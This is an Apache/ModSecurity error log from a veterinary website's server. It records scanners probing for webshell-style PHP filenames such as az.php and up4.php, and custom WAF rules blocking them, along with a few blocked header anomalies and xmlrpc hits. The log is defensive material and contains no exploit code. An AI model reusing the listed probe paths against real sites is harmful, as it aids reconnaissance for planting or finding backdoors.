[Mon Dec 22 21:44:42.966577 2025] [:error] [pid 56155:tid 56232] [client 4.230.34.85:5764] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aUlLSmG8a3wQucsuN67_pwAAA4o"]
[Mon Dec 22 21:44:43.251206 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:5935] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aUlLS-SVKDT5jWOcnSUENQAAAMw"]
[Mon Dec 22 21:44:43.554469 2025] [:error] [pid 33535:tid 33557] [client 4.230.34.85:6095] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aUlLS2OCI8D9Xtn-n7TPdwAAAdQ"]
[Mon Dec 22 21:44:43.832679 2025] [:error] [pid 33440:tid 33442] [client 4.230.34.85:5808] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aUlLS5OsUWKqgxu6QTRBHgAAAQA"]
[Mon Dec 22 21:44:44.228488 2025] [:error] [pid 56080:tid 56147] [client 4.230.34.85:5851] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aUlLTJIHT3YJq9hjDc70hQAAAxc"]
[Mon Dec 22 21:44:44.591340 2025] [:error] [pid 33535:tid 33556] [client 4.230.34.85:5805] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aUlLTGOCI8D9Xtn-n7TPeAAAAdM"]
[Mon Dec 22 21:44:44.913907 2025] [:error] [pid 33472:tid 33503] [client 4.230.34.85:5776] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aUlLTJ5p2WQpPIK8HAlAcQAAAYI"]
[Mon Dec 22 21:44:45.199992 2025] [:error] [pid 33564:tid 33585] [client 4.230.34.85:5900] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aUlLTQSHeG6oLmMnKY7VOgAAAhI"]
[Mon Dec 22 21:44:45.484455 2025] [:error] [pid 58078:tid 58098] [client 4.230.34.85:5807] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aUlLTZWKg9Bf8njHlB5fGgAAAA8"]
[Mon Dec 22 21:44:45.767299 2025] [:error] [pid 56044:tid 56067] [client 4.230.34.85:5942] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aUlLTe60uUaieriJqP15uwAAAJM"]
[Mon Dec 22 21:44:46.043900 2025] [:error] [pid 58172:tid 58195] [client 4.230.34.85:5828] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aUlLTuSVKDT5jWOcnSUENwAAANU"]
[Mon Dec 22 21:44:46.339825 2025] [:error] [pid 58172:tid 58196] [client 4.230.34.85:5874] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUlLTuSVKDT5jWOcnSUEOQAAANY"]
[Mon Dec 22 21:44:46.644294 2025] [:error] [pid 33564:tid 33579] [client 4.230.34.85:5932] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUlLTgSHeG6oLmMnKY7VQAAAAgw"]
[Mon Dec 22 21:44:46.962923 2025] [:error] [pid 33564:tid 33584] [client 4.230.34.85:5838] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUlLTgSHeG6oLmMnKY7VQQAAAhE"]
[Mon Dec 22 21:44:47.240060 2025] [:error] [pid 33440:tid 33461] [client 4.230.34.85:6127] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUlLT5OsUWKqgxu6QTRBIQAAARM"]
[Mon Dec 22 21:44:47.530259 2025] [:error] [pid 33440:tid 33465] [client 4.230.34.85:5837] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aUlLT5OsUWKqgxu6QTRBIgAAARc"]
[Mon Dec 22 21:44:47.843503 2025] [:error] [pid 56155:tid 56229] [client 4.230.34.85:5830] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aUlLT2G8a3wQucsuN67_rAAAA4c"]
[Mon Dec 22 21:44:48.167591 2025] [:error] [pid 58172:tid 58179] [client 4.230.34.85:5806] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aUlLUOSVKDT5jWOcnSUEPAAAAMU"]
[Mon Dec 22 21:44:48.505297 2025] [:error] [pid 58078:tid 58087] [client 4.230.34.85:5903] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aUlLUJWKg9Bf8njHlB5fHAAAAAQ"]
[Mon Dec 22 21:44:48.821052 2025] [:error] [pid 33471:tid 33494] [client 4.230.34.85:5774] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aUlLUL5BeNE7regJ7ixV_gAAAVQ"]
[Mon Dec 22 21:44:49.119324 2025] [:error] [pid 56044:tid 56068] [client 4.230.34.85:6060] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aUlLUe60uUaieriJqP15vgAAAJQ"]
[Mon Dec 22 21:44:49.409534 2025] [:error] [pid 58078:tid 58097] [client 4.230.34.85:6053] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aUlLUZWKg9Bf8njHlB5fHgAAAA4"]
[Mon Dec 22 21:44:49.702266 2025] [:error] [pid 33472:tid 33520] [client 4.230.34.85:5875] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aUlLUZ5p2WQpPIK8HAlAcgAAAZM"]
[Mon Dec 22 21:44:49.995706 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:5780] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aUlLUZWKg9Bf8njHlB5fIQAAABE"]
[Mon Dec 22 21:44:50.282320 2025] [:error] [pid 56080:tid 56125] [client 4.230.34.85:5823] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aUlLUpIHT3YJq9hjDc70kAAAAwE"]
[Mon Dec 22 21:44:50.615963 2025] [:error] [pid 33440:tid 33445] [client 4.230.34.85:5921] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aUlLUpOsUWKqgxu6QTRBJQAAAQM"]
[Mon Dec 22 21:44:50.919207 2025] [:error] [pid 33535:tid 33561] [client 4.230.34.85:5769] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aUlLUmOCI8D9Xtn-n7TPeQAAAdg"]
[Mon Dec 22 21:44:51.216381 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:5954] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aUlLU5WKg9Bf8njHlB5fKAAAAAY"]
[Mon Dec 22 21:44:51.526097 2025] [:error] [pid 56155:tid 56228] [client 4.230.34.85:5894] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aUlLU2G8a3wQucsuN67_sQAAA4Y"]
[Mon Dec 22 21:44:51.838388 2025] [:error] [pid 33472:tid 33508] [client 4.230.34.85:5895] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aUlLU55p2WQpPIK8HAlAdwAAAYc"]
[Mon Dec 22 21:44:52.141781 2025] [:error] [pid 33472:tid 33501] [client 4.230.34.85:5876] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aUlLVJ5p2WQpPIK8HAlAeQAAAYA"]
[Mon Dec 22 21:44:52.426868 2025] [:error] [pid 33440:tid 33442] [client 4.230.34.85:5945] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aUlLVJOsUWKqgxu6QTRBKgAAAQA"]
[Mon Dec 22 21:44:52.735015 2025] [:error] [pid 56080:tid 56144] [client 4.230.34.85:5902] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aUlLVJIHT3YJq9hjDc70mQAAAxQ"]
[Mon Dec 22 21:44:53.013335 2025] [:error] [pid 56080:tid 56139] [client 4.230.34.85:5704] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aUlLVZIHT3YJq9hjDc70mgAAAw8"]
[Mon Dec 22 21:44:53.325190 2025] [:error] [pid 33564:tid 33578] [client 4.230.34.85:5848] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aUlLVQSHeG6oLmMnKY7VRwAAAgs"]
[Mon Dec 22 21:44:53.613185 2025] [:error] [pid 33535:tid 33543] [client 4.230.34.85:5790] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aUlLVWOCI8D9Xtn-n7TPfgAAAcY"]
[Mon Dec 22 21:44:53.907640 2025] [:error] [pid 33472:tid 33514] [client 4.230.34.85:5856] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aUlLVZ5p2WQpPIK8HAlAgQAAAY0"]
[Mon Dec 22 21:44:54.229326 2025] [:error] [pid 33535:tid 33542] [client 4.230.34.85:5783] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aUlLVmOCI8D9Xtn-n7TPgAAAAcU"]
[Mon Dec 22 21:44:54.527965 2025] [:error] [pid 56155:tid 56244] [client 4.230.34.85:6014] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aUlLVmG8a3wQucsuN67_tQAAA5Y"]
[Mon Dec 22 21:44:54.816765 2025] [:error] [pid 58172:tid 58188] [client 4.230.34.85:5801] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aUlLVuSVKDT5jWOcnSUETAAAAM4"]
[Mon Dec 22 21:44:55.107434 2025] [:error] [pid 58172:tid 58183] [client 4.230.34.85:5914] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aUlLV-SVKDT5jWOcnSUETwAAAMk"]
[Mon Dec 22 21:44:55.418759 2025] [:error] [pid 58172:tid 58187] [client 4.230.34.85:5864] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aUlLV-SVKDT5jWOcnSUEUgAAAM0"]
[Mon Dec 22 21:44:55.701623 2025] [:error] [pid 56155:tid 56235] [client 4.230.34.85:5883] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aUlLV2G8a3wQucsuN67_uQAAA40"]
[Mon Dec 22 22:13:04.714951 2025] [:error] [pid 58078:tid 58093] [client 43.135.130.202:55920] [client 43.135.130.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUlR8JWKg9Bf8njHlB5qygAAAAo"]
[Mon Dec 22 23:39:47.511740 2025] [:error] [pid 33535:tid 33560] [client 38.240.34.48:64062] [client 38.240.34.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.240.34.48, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUlmQ2OCI8D9Xtn-n7ThOQAAAdc"], referer: https://vetstars.com.au/
[Tue Dec 23 01:00:32.326461 2025] [ssl:error] [pid 40361:tid 40387] [client 35.84.30.249:34842] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Tue Dec 23 01:28:32.685024 2025] [:error] [pid 40361:tid 40369] [client 170.106.72.178:60476] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUl_wOxiDEK95vL2EDrErgAAAEY"]
[Tue Dec 23 01:35:07.396493 2025] [:error] [pid 40267:tid 40285] [client 49.7.227.204:43880] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUmBS-TPWWVt2GkrftBnfQAAAAw"]
[Tue Dec 23 02:02:09.412770 2025] [:error] [pid 40267:tid 40295] [client 13.79.133.172:3820] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mek.php"] [unique_id "aUmHoeTPWWVt2GkrftB0qAAAABY"]
[Tue Dec 23 02:02:10.007985 2025] [:error] [pid 40268:tid 40320] [client 13.79.133.172:13946] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mek.php"] [unique_id "aUmHopWtCyS5tdJAiFxiYAAAANI"]
[Tue Dec 23 02:02:10.601454 2025] [:error] [pid 40268:tid 40324] [client 13.79.133.172:12169] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mek.php"] [unique_id "aUmHopWtCyS5tdJAiFxiYQAAANY"]
[Tue Dec 23 02:02:11.190826 2025] [:error] [pid 40269:tid 40348] [client 13.79.133.172:12168] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mek.php"] [unique_id "aUmHoy06Z11fTcfdsqTtXQAAARM"]
[Tue Dec 23 02:02:11.748250 2025] [:error] [pid 40268:tid 40309] [client 13.79.133.172:8943] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aUmHo5WtCyS5tdJAiFxiZAAAAMc"]
[Tue Dec 23 02:02:12.317158 2025] [:error] [pid 40361:tid 40379] [client 13.79.133.172:4893] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aUmHpOxiDEK95vL2EDrcWgAAAFA"]
[Tue Dec 23 02:02:12.913209 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:14669] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aUmHpOxiDEK95vL2EDrcWwAAAFM"]
